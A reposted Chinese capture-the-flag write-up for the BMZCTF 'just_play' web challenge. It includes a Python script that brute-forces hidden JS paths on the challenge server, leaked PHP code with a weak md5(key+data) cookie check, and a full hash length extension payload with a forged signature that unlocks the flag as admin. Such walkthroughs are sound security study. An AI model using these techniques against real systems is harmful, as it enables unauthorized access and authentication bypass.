BMZCTF:just_play

Posted 末 初

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BMZCTF:just_play相关的知识,希望对你有一定的参考价值。

http://www.bmzclub.cn/challenges#just_play

在这里插入图片描述
在这里插入图片描述
打开是个小游戏,保存源码本地修改参数赢得比赛后发现没啥信息。继续观察发现
在这里插入图片描述

http://www.bmzclub.cn:20351/js/[ahxinb]{2}ctf[0-9]{2}.js

使用Python简单爆破下这个正则的所有匹配项

from requests import *

#http://www.bmzclub.cn:20351/js/[ahxinb]{2}ctf[0-9]{2}.js
url = 'http://www.bmzclub.cn:20351'

p1 = 'ahxinb'
for i1 in range(len(p1)):
    for i2 in range(len(p1)):
        part1 = '{}{}'.format(p1[i1],p1[i2])
        for p2 in range(100):
            part2 = '{:02d}'.format(p2)
            webpath = '/js/{}ctf{}.js'.format(part1,part2)
            myurl = '{}{}'.format(url,webpath)
            resp = get(url=myurl)
            if resp.status_code == 200:
                print('[+]{} -> {}'.format(myurl,resp.status_code))
            else:
                continue

在这里插入图片描述
访问http://www.bmzclub.cn:20351/js/bhctf76.js得到一段php源码

//getf1ag.php
$user=$_POST['user'];
function encrypt($text){
    global $key;
    return md5($key.$text);
}
if (encrypt($user)===$_COOKIE['verify']) {
    if(is_numeric(strpos($user,'admin'))){
        echo file_get_contents('/flag');
    }
    else{
        die('not admin!!!');
}
}
else{
    setcookie("verify",encrypt("guest"),time()+60*60*24);
    setcookie("len",strlen($key),time()+60*60*24);
}

分析下源码就知道很明显是哈希长度扩展攻击:

  • 未知$key,从cookie中知道长度为32
  • 从cookie中能得知md5($key.'guest')的签名
  • cookie中的verify和提交数据的user可控

在这里插入图片描述
使用hashpump直接获得签名和数据
在这里插入图片描述

ba5f9c6541ecad6c552ff138cfcbdb28

guest\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00\\x00\\x00\\x00admin

将数据中的\\x全部替换成%,然后注意将其中一个括号(urlencode一下得到

user=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00admin

在这里插入图片描述

以上是关于BMZCTF:just_play的主要内容,如果未能解决你的问题,请参考以下文章

BMZCTF WEB_ezeval

BMZCTF-WEB-simple_pop

BMZCTF-WEB-easy_exec

bmzctf刷题ssrfme

BMZCTF:个人所得税

bmzctf 刷题 hitcon_2017_ssrfme